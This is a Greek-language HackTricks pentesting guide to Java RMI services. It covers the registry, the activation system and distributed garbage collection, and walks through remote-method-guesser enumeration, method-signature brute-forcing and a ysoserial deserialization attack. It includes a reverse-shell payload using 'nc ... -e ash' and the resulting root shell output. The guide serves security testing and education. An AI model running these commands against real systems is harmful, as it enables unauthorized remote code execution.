hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

25 KiB
Raw Blame History

1098/1099/1050 - Πεντεστική Java RMI - RMI-IIOP

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:


Χρησιμοποιήστε το Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Βασικές Πληροφορίες

Η απομακρυσμένη κλήση μεθόδων Java, ή Java RMI, είναι ένας μηχανισμός ανταλλαγής μηνυμάτων μεταξύ αντικειμένων που επιτρέπει σε ένα αντικείμενο που βρίσκεται σε ένα εικονικό μηχάνημα Java να καλεί μεθόδους σε ένα αντικείμενο που βρίσκεται σε ένα άλλο εικονικό μηχάνημα Java. Αυτό επιτρέπει στους προγραμματιστές να γράφουν κατανεμημένες εφαρμογές χρησιμοποιώντας ένα αντικειμενοστραφές παράδειγμα. Μια σύντομη εισαγωγή στο Java RMI από επιθετική σκοπιά μπορεί να βρεθεί σε αυτήν την blackhat ομιλία.

Προεπιλεγμένη θύρα: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Συνήθως, μόνο οι προεπιλεγμένοι συνιστώσες του Java RMI (το RMI Registry και το Activation System) είναι δεμένοι σε κοινές θύρες. Τα απομακρυσμένα αντικείμενα που υλοποιούν την πραγματική εφαρμογή RMI συνήθως δένονται σε τυχαίες θύρες, όπως φαίνεται στην παραπάνω έξοδο.

Ο nmap έχει μερικές φορές προβλήματα στον προσδιορισμό των προστατευμένων με SSL υπηρεσιών RMI. Εάν συναντήσετε μια άγνωστη υπηρεσία ssl σε μια κοινή θύρα RMI, θα πρέπει να εξετάσετε περαιτέρω.

Συστατικά του RMI

Απλοποιημένα, το Java RMI επιτρέπει σε έναν προγραμματιστή να καταστήσει ένα αντικείμενο Java διαθέσιμο στο δίκτυο. Αυτό ανοίγει μια θύρα TCP όπου οι πελάτες μπορούν να συνδεθούν και να καλέσουν μεθόδους στο αντίστοιχο αντικείμενο. Παρόλο που αυτό ακούγεται απλό, υπάρχουν αρκετές προκλήσεις που το Java RMI πρέπει να επιλύσει:

  1. Για να αποστείλει μια κλήση μεθόδου μέσω Java RMI, οι πελάτες πρέπει να γνωρίζουν τη διεύθυνση IP, τη θύρα ακρόασης, την υλοποιημένη κλάση ή διεπαφή και το ObjID του στοχευμένου αντικειμένου (το ObjID είναι ένας μοναδικός και τυχαίος αναγνωριστικός αριθμός που δημιουργείται όταν το αντικείμενο γίνεται διαθέσιμο στο δίκτυο. Απαιτείται επειδή το Java RMI επιτρέπει σε πολλά αντικείμενα να ακούνε στην ίδια θύρα TCP).
  2. Οι απομακρυσμένοι πελάτες μπορεί να δεσμεύουν πόρους στον διακομιστή καλώντας μεθόδους στο αντίστοιχο αντικείμενο. Η εικονική μηχανή Java πρέπει να παρακολουθεί ποιοι από αυτούς τους πόρους εξακολουθούν να χρησιμοποιούνται και ποιοι μπορούν να εξαλειφθούν.

Η πρώτη πρόκληση επιλύεται από το RMI registry, το οποίο είναι ουσιαστικά ένα υπηρεσία ονοματοδοσίας για το Java RMI. Το ίδιο το RMI registry είναι επίσης μια RMI υπηρεσία, αλλά η υλοποιημένη διεπαφή και το ObjID είναι σταθερά και γνωστά από όλους τους πελάτες RMI. Αυτό επιτρέπει στους πελάτες RMI να καταναλώνουν το RMI registry απλά γνωρίζοντας την αντίστοιχη θύρα TCP.

Όταν οι προγραμματιστές θέλουν να καταστήσουν τα Java αντικείμενά τους διαθέσιμα στο δίκτυο, συνήθως τα δένουν σε ένα RMI registry. Το registry αποθηκεύει όλες τις πληροφορίες που απαιτούνται για να συνδεθεί κάποιος με το αντικείμενο (διεύθυνση IP, θύρα ακρόασης, υλοποιημένη κλάση ή διεπαφή και τιμή ObjID) και τις καθιστά διαθέσιμες με ένα αναγνώσιμο ανθρώπινο όνομα (το bound name). Οι πελάτες που θέλουν να καταναλώσουν την RMI υπηρεσία ζητούν από το RMI registry το αντίστοιχο bound name και το registry επιστρέφει όλες τις απαιτούμενες πληροφορίες για τη σύνδεση. Έτσι, η κατάσταση είναι ουσιαστικά η ίδια με μια κανονική υπηρεσία DNS. Το παρακάτω παράδειγμα δείχνει ένα μικρό παράδειγμα:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Το δεύτερο από τα παραπάνω προβλήματα λύνεται από τον Κατανεμημένο Συλλέκτη Σκουπιδιών (DGC). Αυτή είναι μια άλλη υπηρεσία RMI με μια γνωστή τιμή ObjID και είναι διαθέσιμη σε κάθε RMI endpoint. Όταν ένας RMI client αρχίζει να χρησιμοποιεί μια RMI service, στέλνει μια πληροφορία στον DGC ότι το αντίστοιχο απομακρυσμένο αντικείμενο χρησιμοποιείται. Ο DGC μπορεί να παρακολουθεί τον μετρητή αναφορών και είναι σε θέση να καθαρίσει τα ανενεργά αντικείμενα.

Μαζί με τον αποσυντεθειμένο Σύστημα Ενεργοποίησης, αυτά είναι τα τρία προεπιλεγμένα στοιχεία του Java RMI:

  1. Το RMI Registry (ObjID = 0)
  2. Το Σύστημα Ενεργοποίησης (ObjID = 1)
  3. Ο Κατανεμημένος Συλλέκτης Σκουπιδιών (ObjID = 2)

Τα προεπιλεγμένα στοιχεία του Java RMI έχουν γνωστά σημεία επίθεσης για αρκετό καιρό και υπάρχουν πολλά ευπάθειες σε παλαιές εκδόσεις Java. Από την οπτική γωνία του επιτιθέμενου, αυτά τα προεπιλεγμένα στοιχεία είναι ενδιαφέροντα, επειδή υλοποιούν γνωστές κλάσεις / διεπαφές και είναι εύκολο να αλληλεπιδράσετε με αυτά. Αυτή η κατάσταση είναι διαφορετική για προσαρμοσμένες RMI services. Για να καλέσετε μια μέθοδο σε ένα απομακρυσμένο αντικείμενο, πρέπει να γνωρίζετε εκ των προτέρων την αντίστοιχη υπογραφή της μεθόδου. Χωρίς να γνωρίζετε μια υπάρχουσα υπογραφή μεθόδου, δεν υπάρχει τρόπος επικοινωνίας με μια RMI service.

Απαρίθμηση RMI

remote-method-guesser είναι ένα εργαλείο ανίχνευσης ευπαθειών Java RMI που είναι ικανό να αναγνωρίζει αυτόματα κοινές ευπάθειες RMI. Κάθε φορά που ανιχνεύετε ένα RMI endpoint, θα πρέπει να το δοκιμάσετε:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Η έξοδος της ενέργειας απαρίθμησης εξηγείται λεπτομερώς στις σελίδες τεκμηρίωσης του έργου. Ανάλογα με το αποτέλεσμα, θα πρέπει να προσπαθήσετε να επαληθεύσετε τις εντοπισμένες ευπάθειες.

Οι τιμές ObjID που εμφανίζονται από το remote-method-guesser μπορούν να χρησιμοποιηθούν για να προσδιοριστεί ο χρόνος λειτουργίας της υπηρεσίας. Αυτό μπορεί να βοηθήσει στον εντοπισμό άλλων ευπαθειών:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Βίαιη επίθεση στις απομακρυσμένες μεθόδους

Ακόμα και όταν δεν έχουν εντοπιστεί ευπάθειες κατά τη διάρκεια της απαρίθμησης, οι διαθέσιμες υπηρεσίες RMI μπορεί να αποκαλύπτουν επικίνδυνες λειτουργίες. Επιπλέον, παρόλο που η επικοινωνία RMI με τα προεπιλεγμένα στοιχεία RMI προστατεύεται από φίλτρα αποσυνεριοποίησης, όταν συνομιλείτε με προσαρμοσμένες υπηρεσίες RMI, τέτοια φίλτρα συνήθως δεν υπάρχουν. Η γνώση των έγκυρων υπογραφών μεθόδων στις υπηρεσίες RMI είναι, συνεπώς, πολύτιμη.

Δυστυχώς, το Java RMI δεν υποστηρίζει την απαρίθμηση μεθόδων σε απομακρυσμένα αντικείμενα. Ωστόσο, είναι δυνατό να εκτελεστεί βίαιη επίθεση στις υπογραφές των μεθόδων με εργαλεία όπως το remote-method-guesser ή το rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Οι εντοπισμένες μεθόδοι μπορούν να κληθούν ως εξής:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ή μπορείτε να εκτελέσετε επιθέσεις αποσυνερίας όπως αυτή:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Περισσότερες πληροφορίες μπορούν να βρεθούν σε αυτά τα άρθρα:

Εκτός από τη μάντεψη, θα πρέπει επίσης να ψάξετε σε μηχανές αναζήτησης ή στο GitHub για τη διεπαφή ή ακόμα και την υλοποίηση μιας συναντηθείσας υπηρεσίας RMI. Το bound name και το όνομα της υλοποιημένης κλάσης ή διεπαφής μπορεί να είναι χρήσιμα εδώ.

Γνωστές Διεπαφές

Το remote-method-guesser σημειώνει τις κλάσεις ή τις διεπαφές ως γνωστές αν αναφέρονται στην εσωτερική βάση δεδομένων του εργαλείου για γνωστές υπηρεσίες RMI. Σε αυτές τις περιπτώσεις, μπορείτε να χρησιμοποιήσετε την ενέργεια γνωστή για να λάβετε περισσότερες πληροφορίες για την αντίστοιχη υπηρεσία RMI:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Εργαλεία

Αναφορές

Αυτόματες Εντολές HackTricks

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Χρησιμοποιήστε το Trickest για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: